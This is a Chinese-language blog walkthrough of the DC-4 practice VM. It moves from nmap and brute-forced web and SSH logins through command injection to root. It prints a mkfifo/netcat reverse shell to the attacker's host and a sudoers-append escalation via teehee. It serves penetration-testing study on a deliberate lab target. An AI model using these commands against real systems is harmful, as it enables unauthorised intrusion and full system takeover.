DC-4

环境搭建

过程和DC-1的环境搭建一样:https://yschen20.github.io/2026/02/19/DC-1/#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA

渗透测试

先 nmap 扫靶机 IP

1
nmap -sP 192.168.1.0/24

这次名字也没有,就看着是 VMware 感觉是的,访问到的 Web 服务也确实是 DC-4 的

image-20260225201356669

继续扫一下靶机端口信息

1
nmap -A -p- 192.168.1.4

一个 22 端口的 SSH 服务,一个 80 端口的 Web 服务

image-20260225201607389

先看看 80 端口的,标题是 System Tools,打开是一个登录界面

image-20260225201654009

扫一下目录有个/command.php界面,应该是可以执行命令的一个界面,不过要先登录

image-20260225201812073

先尝试用 bp 爆破admin弱口令,可以爆破出admin的密码是happy

image-20260225202619945

成功登录

image-20260225202729331

点 Command 来到command.php,可以查看目录

image-20260225202933163

抓包看看命令执行的参数,很明显是直接执行的 Linux 命令

image-20260225203104350

这就直接RCE了

image-20260225203153077

然后尝试反弹shell到 kali 上,先kali监听端口

1
nc -lvnp 2333

image-20260225203630611

然后靶机执行反弹shell命令,注意特殊字符要进行 URL 编码

1
2
3
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.1.8 2333 >/tmp/f
# 编码
rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/bash+-i+2>%261|nc+192.168.1.8+2333+>/tmp/f

成功反弹shell

image-20260225203752191

接下来就是想办法提权,先看看也没有 SUID 提权的可能

1
find / -perm -u=s -type f 2>/dev/null

image-20260225204220718

可以看到最后有个特殊的文件test.sh,在用户jim目录下,看一看文件权限和内容

1
2
ls -la /home/jim/test.sh
cat /home/jim/test.sh

image-20260225204330109

文件内容是每隔一秒就会打印一些语句,一共会运行十秒,并且任何人都可以对这个脚本进行读、写、运行,刚开始我想的是可以写入恶意命令到这个脚本中,从而可以获取到jim的权限,不过没成功,而且文件的 SUID 权限也让我搞没了,问了一下AI这个路似乎行不通

image-20260225205914312

那就不搞这个了,继续找找其他利用点,刚才发现了存在jim用户,而且这个靶机也开放了 SSH 端口,我可以尝试以jim去登录SSH

看看有哪些用户

1
ls /home

三个用户,不过另外俩用户目录下没什么东西

image-20260225210759401

看看jim用户目录下有什么

1
2
cd /home/jim
ls -la

image-20260225210150543

可以在backups目录下找到old-passwords.bak文件,里面存在一些旧密码

image-20260225210242071

image-20260225210326589

这其中肯定有jim的密码,把密码都复制到一个文件中

image-20260225210522622

还有之前看到的三个用户

image-20260225210903337

然后使用 hydra 爆破密码

1
hydra -L username.txt -P password.txt ssh://192.168.1.4

image-20260225211703936

爆出jim的密码是jibril04,成功登录

image-20260225211753951

看看有没有 sudo 权限

1
sudo -l

可惜没有

image-20260225212916072

之前看到jim目录下还有一个mbox文件

image-20260225212155497

是 root 给 jim 发的一个测试邮件,查看一下属于 jim 的文件,可以找到 jim 的邮件

1
find / -user jim -type f 2>/dev/null | head -20

image-20260225212350467

看一下邮件内容

1
cat /var/mail/jim

是 charles 给 jim 发的邮件,并且最后给了密码:^xHhA&hvim0y

image-20260225212713168

继续登录 charles 用户

image-20260225213023676

这个用户有 sudo 权限

image-20260225213057974

teehee 是 tee 命令的一个变体,用于从标准输入读取并写入到标准输出和文件

可以利用这个命令,将当前的 charles 用户添加到/etc/sudoers中,这个文件是存着可以执行 sudo 权限的用户

1
echo "charles ALL=(ALL) NOPASSWD:ALL" | sudo /usr/bin/teehee -a /etc/sudoers

image-20260225213538178

然后就可以执行sudo su命令切换为 root 用户了,并且不需要密码就可以执行sudo

1
sudo su

image-20260225213716331

最后就可以去/root目录下读flag了

1
2
cd root
cat flag.txt

image-20260225213809328

总结

这个靶机做的时候有种熟悉的感觉,似乎以前打过,但是有些遗忘了,中间有个 SUID 权限的文件搞没了,不过无伤大雅

靶机学到的知识点:

  • 开始就是爆破admin的弱口令
  • 然后是要多抓包,看看报文的信息
  • 拿到shell后要多看看敏感文件,信息收集是很关键的
  • 用 hydra 爆破 SSH 密码
  • 最后就是利用 teehee 的 sudo 权限来实现提权

DC-4
https://yschen20.github.io/2026/02/25/DC-4/
作者
Suzen
发布于
2026年2月25日
更新于
2026年2月25日
许可协议